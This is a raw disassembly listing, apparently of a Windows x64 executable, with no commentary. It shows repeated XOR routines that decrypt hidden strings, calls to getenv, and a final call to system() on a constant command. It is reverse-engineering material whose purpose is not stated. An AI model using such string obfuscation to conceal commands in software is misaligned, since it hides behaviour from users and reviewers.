xor byte [rbx + 4], 0x3d
xor byte [rbx + 5], 0x3e
xor byte [rbx + 6], 0x3f
xor byte [rbx + 7], 0x40
xor al, 0x41
mov byte [rbx + 8], al
lea rdx, [rbp]
lea rcx, [rbp + 0x110]
call fcn.7ff698f4c510
mov r8, rbx
lea rcx, [rbp - 0x70]
mov rdx, rax
call fcn.7ff698f5f380
mov rdx, rax
lea rcx, [rbp + 0x2a0]
call fcn.7ff698f5dc30
lea rcx, [rbp - 0x70]
call fcn.7ff698f3d310
lea rcx, [rbp]
call fcn.7ff698f3d310
lea rdx, [0x7ff699015158]
lea rcx, [rbp + 0x2a0]
call fcn.7ff698f49d30
lea rdx, [0x7ff698f460e0]
mov rcx, rax
call qword [0x7ff698fef528]
lea rcx, [rbp + 0x2a0]
call fcn.7ff698f45170
lea rcx, [rbp + 0x2a0]
call fcn.7ff698f422b0
lea rcx, [rbp + 0x170]
call fcn.7ff698f422b0
lea rdx, [rbp + 0x70]
call fcn.7ff698f8cfe0
mov rcx, rax
cmp byte [rax + 7], sil
je 0x7ff698f8c6c0
cmp r12d, 2
jl 0x7ff698f8c67c
movdqa xmm2, xmmword [0x7ff6990158f0]
movdqa xmm4, xmmword [0x7ff699015a10]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x7ff699015910]
movdqa xmm0, xmm2
mov eax, dword [0x7ff699015a20]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x7ff699015970]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x7ff699015a00]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x7ff699015970]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff699015a00]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
jmp 0x7ff698f8c6c0
mov r9, rcx
mov r8d, esi
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, dl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x7ff698f8c690
call qword [sym.imp.ucrtbase.dll_getenv]
lea rdx, [rbp + 0xe0]
mov qword [rbp + 0xe0], rax
lea rcx, [rbp + 0x280]
call fcn.7ff698f5f3f0
lea rdx, [rsp + 0x38]
call fcn.7ff698f8d010
mov r10, rax
cmp byte [rax + 7], sil
je 0x7ff698f8c840
cmp r12d, 2
jl 0x7ff698f8c7fb
movdqa xmm2, xmmword [0x7ff6990158f0]
movdqa xmm4, xmmword [0x7ff699015a10]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x7ff699015910]
movdqa xmm0, xmm2
mov eax, dword [0x7ff699015a20]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x7ff699015970]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x7ff699015a00]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x7ff699015970]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff699015a00]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm2, xmm0
movd dword [r10 + 4], xmm2
jmp 0x7ff698f8c840
mov r9, r10
mov r8d, esi
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x7ff698f8c810
lea rdx, [rbp + 0xe0]
mov qword [rbp + 0xe0], r10
lea rcx, [rbp]
call fcn.7ff698f5f3f0
lea rdx, [rbp + 0x20]
call fcn.7ff698f8cff0
movzx ecx, byte [rax + 8]
test cl, cl
je 0x7ff698f8c88d
xor byte [rax], 0x39
xor byte [rax + 1], 0x3a
xor byte [rax + 2], 0x3b
xor byte [rax + 3], 0x3c
xor byte [rax + 4], 0x3d
xor byte [rax + 5], 0x3e
xor byte [rax + 6], 0x3f
xor byte [rax + 7], 0x40
xor cl, 0x41
mov byte [rax + 8], cl
lea rdx, [rbp + 0xe0]
mov qword [rbp + 0xe0], rax
lea rcx, [rbp - 0x70]
call fcn.7ff698f5f3f0
lea r8, [rbp - 0x70]
lea rdx, [rbp + 0x280]
lea rcx, [rbp + 0x30]
call fcn.7ff698f4eea0
mov rdx, rax
lea r8, [rbp]
lea rcx, [rbp + 0x150]
call fcn.7ff698f4eea0
lea rcx, [rbp + 0x30]
call fcn.7ff698f452c0
lea rcx, [rbp - 0x70]
call fcn.7ff698f452c0
lea rcx, [rbp]
call fcn.7ff698f452c0
lea rcx, [rbp + 0x150]
call fcn.7ff698f4f150
lea rcx, [rbp + 0x3b0]
call fcn.7ff698f42320
lea rdx, [rbp + 0xd0]
call fcn.7ff698f8d020
mov rbx, rax
cmp byte [rax + 0xd], sil
je 0x7ff698f8ca60
mov r8d, esi
cmp r12d, 2
jl 0x7ff698f8ca1e
movdqa xmm2, xmmword [0x7ff6990158f0]
mov r8d, 8
movdqa xmm4, xmmword [0x7ff699015a10]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x7ff699015910]
movdqa xmm0, xmm2
mov eax, dword [0x7ff699015a20]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x7ff699015970]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x7ff699015a00]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [rbx]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbx], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x7ff699015970]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff699015a00]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm2, xmm0
movd dword [rbx + 4], xmm2
movsxd r9, r8d
add r9, rbx
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x7ff698f8ca30
lea rdx, [rbp]
lea rcx, [rbp + 0x150]
call fcn.7ff698f4c510
mov r8, rbx
lea rcx, [rbp - 0x70]
mov rdx, rax
call fcn.7ff698f5f380
mov rdx, rax
lea rcx, [rbp + 0x3b0]
call fcn.7ff698f5dc30
lea rcx, [rbp - 0x70]
call fcn.7ff698f3d310
lea rcx, [rbp]
call fcn.7ff698f3d310
lea rdx, [0x7ff699015158]
lea rcx, [rbp + 0x3b0]
call fcn.7ff698f49d30
lea rdx, [0x7ff698f460e0]
mov rcx, rax
call qword [0x7ff698fef528]
lea rcx, [rbp + 0x3b0]
call fcn.7ff698f45170
lea rdx, [rbp + 0xf0]
call fcn.7ff698f8d050
mov r10, rax
cmp byte [rax + 0x14], sil
je 0x7ff698f8cc60
mov r8d, esi
cmp r12d, 2
jl 0x7ff698f8cc29
movdqa xmm0, xmmword [0x7ff699015a20]
mov rcx, rax
movdqa xmm5, xmmword [0x7ff6990158f0]
movdqa xmm4, xmmword [0x7ff699015a10]
movdqa xmm6, xmmword [0x7ff699015970]
movdqa xmmword [rsp + 0x70], xmm0
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x7ff699015a00]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff699015a00]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x10
jl 0x7ff698f8cb22
cmp r8d, 0x15
jge 0x7ff698f8cc60
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x15
jl 0x7ff698f8cc30
lea rdx, [rbp + 0x50]
call fcn.7ff698f8cf30
movzx ecx, byte [rax + 4]
test cl, cl
je 0x7ff698f8cc86
xor byte [rax], 0x39
xor byte [rax + 1], 0x3a
xor byte [rax + 2], 0x3b
xor byte [rax + 3], 0x3c
xor cl, 0x3d
mov byte [rax + 4], cl
mov r8, r10
mov rdx, rax
call fcn.7ff698f5fe10
lea rcx, [0x7ff6990565e0]
call fcn.7ff698f83f70
test al, al
jne 0x7ff698f8ce7c
lea rdx, [rbp + 0xf0]
call fcn.7ff698f8d080
mov r9, rax
cmp byte [rax + 0x1e], sil
je 0x7ff698f8ce3d
cmp r12d, 2
jl 0x7ff698f8ce04
movdqa xmm0, xmmword [0x7ff699015a20]
mov rcx, rax
movdqa xmm5, xmmword [0x7ff6990158f0]
movdqa xmm4, xmmword [0x7ff699015a10]
movdqa xmm6, xmmword [0x7ff699015970]
movdqa xmmword [rsp + 0x70], xmm0
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, esi
lea eax, [rsi + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add esi, 8
pmuldq xmm1, xmm4
mov eax, esi
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x7ff699015a00]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff699015a00]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp esi, 0x18
jl 0x7ff698f8cd00
cmp eax, 0x1f
jge 0x7ff698f8ce3d
movsxd r8, esi
add r8, r9
nop word [rax + rax]
mov eax, 0x94f2095
lea r8, [r8 + 1]
imul esi
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, sil
inc esi
sub al, cl
add al, 0x39
xor byte [r8 - 1], al
cmp esi, 0x1f
jl 0x7ff698f8ce10
lea rdx, [rsp + 0x30]
call fcn.7ff698f8cf30
movzx ecx, byte [rax + 4]
test cl, cl
je 0x7ff698f8ce64
xor byte [rax], 0x39
xor byte [rax + 1], 0x3a
xor byte [rax + 2], 0x3b
xor byte [rax + 3], 0x3c
xor cl, 0x3d
mov byte [rax + 4], cl
mov r8, r9
mov rdx, rax
call fcn.7ff698f5fe00
lea rcx, [0x7ff699015164]
call qword [sym.imp.ucrtbase.dll_system]
call fcn.7ff698f7f760
int3
lea r8, [rbp + 0x30]
lea rdx, [rbp + 0xf0]
lea rcx, [0x7ff6990132b8]
call fcn.7ff698f4cb90
int3